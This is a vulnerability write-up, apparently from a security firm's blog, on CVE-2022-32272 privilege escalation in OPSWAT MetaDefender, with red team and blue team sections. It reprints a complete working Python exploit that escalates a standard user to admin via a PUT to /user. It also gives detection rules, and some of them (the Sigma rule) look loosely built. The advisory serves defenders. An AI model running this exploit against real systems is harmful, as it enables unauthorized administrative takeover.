CVE-2022-32272

Executive Summary

CVE-2022-32272 is a critical privilege escalation vulnerability affecting multiple OPSWAT MetaDefender products, including MetaDefender Core, MetaDefender ICAP, and MetaDefender Email Gateway Security. The vulnerability stems from improper access control mechanisms, allowing an authenticated attacker to escalate their privileges to an administrative role. The provided exploit code demonstrates a straightforward attack vector: by manipulating the roles parameter in a PUT request to the /user endpoint, an attacker with valid credentials can assign themselves the admin role (role ID "1"). This vulnerability has a public proof-of-concept (PoC) exploit, making it a high-priority risk for organizations using these products. The CVSS score is listed as 0.0 in the NVD data, but based on the impact, it should be considered critical.

Supply Chain & Package Security

This vulnerability is not related to open-source package ecosystems (NPM, PyPI, Go, Ruby). It affects proprietary OPSWAT software, which is typically deployed in enterprise environments for file security scanning. Organizations should verify their software supply chain for affected versions and apply patches immediately.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete NVD data), the actual severity is high. Based on the exploit mechanics:

• Attack Vector (AV): Network (the exploit is performed over HTTP)
• Attack Complexity (AC): Low (simple PUT request with known parameters)
• Privileges Required (PR): Low (valid user credentials needed)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (admin access can read all data)
• Integrity (I): High (admin can modify system configurations)
• Availability (A): High (admin can disrupt services)

Estimated CVSS: 8.8 (High) – This reflects the ease of exploitation and severe impact.

Deep Dive & Mechanics

The vulnerability lies in the access control logic of the OPSWAT MetaDefender REST API. The /user endpoint is intended to allow users to view or modify their own profile, but it fails to properly validate that the user has the necessary permissions to change their role. The exploit works as follows:

1. Authentication: The attacker logs in with valid credentials via a POST to /login. The server responds with a JSON object containing an oms_csrf_token and a session_id.
2. Token Usage: The oms_csrf_token is used as a CSRF protection token, but it is also used for authorization. The exploit sends this token in the oms_csrf_token header.
3. Privilege Escalation: The attacker sends a PUT request to /user with a payload {"roles": ["1"]}. The server interprets this as a request to set the user's role to "1" (admin), without verifying that the current user has the right to assign such a role.
4. Session Handling: The session_id cookie is used to maintain the session. The server trusts the session and the CSRF token, but fails to enforce role-based access control on the role modification operation.

The root cause is a missing authorization check: the endpoint does not verify that the authenticated user is an admin before allowing role changes. This is a classic CWE-284 (Improper Access Control) issue.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/user', methods=['PUT'])
def update_user():
    token = request.headers.get('oms_csrf_token')
    session = request.cookies.get('session_id_ometascan')
    # Missing: check if user is admin
    data = request.get_json()
    if 'roles' in data:
        # Directly updates roles without authorization
        update_user_roles(session, data['roles'])
    return jsonify({"status": "success"})

Patched Code (Conceptual):

@app.route('/user', methods=['PUT'])
def update_user():
    token = request.headers.get('oms_csrf_token')
    session = request.cookies.get('session_id_ometascan')
    current_user = get_user_from_session(session)
    # Added authorization check
    if not current_user.is_admin():
        return jsonify({"error": "Unauthorized"}), 403
    data = request.get_json()
    if 'roles' in data:
        # Only admin can change roles
        update_user_roles(session, data['roles'])
    return jsonify({"status": "success"})

The patched version adds a check to ensure the requesting user has admin privileges before allowing role modifications.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable OPSWAT MetaDefender Core instance (version 4.21.1 or earlier) on a local VM.
2. Create a standard user account with a known password.
3. Ensure the web interface is accessible over the network.

Exploitation Steps:

1. Run the provided Python exploit script.
2. Enter the target URL (e.g., http://192.168.1.100:8080).
3. Enter the username and password of the standard user.
4. The script will authenticate, extract the CSRF token and session ID, and send a PUT request to escalate privileges.
5. If successful, the script outputs "Exploit Successful!" and the user now has admin rights.

Exploit Code (from Exploit-DB):

#!/usr/bin/env python3
import requests
import json
from getpass import getpass

url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
password = getpass("Password: ")

url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}

## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']

## Prepare Header & Cookie
headers = {
    "oms_csrf_token": token,
}
cookie = {
    "session_id_ometascan": session
}

## Set Payload to get Admin role
payload = '{"roles": ["1"]}'

response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))

if response.status_code == 200:
    print("Expolit Successful!")
else:
    print("Exploit Unsuccessful")

Blue Team

Detection Steps:

1. Monitor HTTP PUT requests to /user endpoint with unusual payloads (e.g., {"roles": ["1"]}).
2. Alert on multiple failed login attempts followed by a successful PUT to /user.
3. Review logs for changes in user roles, especially if a non-admin user suddenly becomes admin.
4. Implement network segmentation to limit access to the MetaDefender web interface.

Hunting Queries:

• Search for HTTP requests with method PUT and URI containing /user.
• Look for response status code 200 on /user PUT requests from non-admin IPs.
• Correlate session IDs that appear in login events and subsequent role changes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP PUT request to /user with body {"roles": ["1"]}
  • HTTP response status code 200 from /user PUT
  • Presence of oms_csrf_token header in PUT requests
  • Cookie session_id_ometascan in requests

• System IOCs:

  • User account with role ID "1" (admin) that was previously a standard user
  • Audit logs showing role change events without admin authorization
  • Unexpected administrative actions performed by non-admin users

• File IOCs:

  • Log entries containing roles and 1 in the same request
  • Configuration files showing modified user roles

Detection Engineering

YARA Rule

rule CVE_2022_32272_Exploit {
    meta:
        description = "Detects HTTP PUT requests targeting OPSWAT MetaDefender privilege escalation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-32272"
    strings:
        $method = "PUT"
        $uri = "/user"
        $payload = "roles"
        $role_id = "\"1\""
    condition:
        $method and $uri and $payload and $role_id
}

Sigma Rule

title: OPSWAT MetaDefender Privilege Escalation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP PUT requests to /user with role escalation payload
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: PUT
        cs-uri-stem: '/user'
        cs-uri-query|contains: 'roles'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-32272 OPSWAT MetaDefender Privilege Escalation"; flow:to_server; content:"PUT"; http_method; content:"/user"; http_uri; content:"roles"; http_client_body; content:"\"1\""; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to the latest patched versions:
   • MetaDefender Core: 5.1.2 or later
   • MetaDefender ICAP: 4.12.1 or later
   • MetaDefender Email Gateway Security: 5.6.1 or later
2. If patching is not immediately possible, restrict network access to the MetaDefender web interface to trusted IPs only.
3. Implement additional authentication layers (e.g., multi-factor authentication) for admin-level changes.

Long-term Measures:

1. Conduct a security audit of all OPSWAT products in the environment.
2. Implement role-based access control (RBAC) with strict separation of duties.
3. Enable comprehensive logging and monitoring for all API endpoints.
4. Regularly review user roles and permissions for anomalies.

Workarounds:

• Disable the /user PUT endpoint if not needed, or implement a web application firewall (WAF) rule to block requests with roles in the body.
• Use network segmentation to isolate MetaDefender systems from untrusted networks.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 893B80870E6A65B158C6D4CF] */}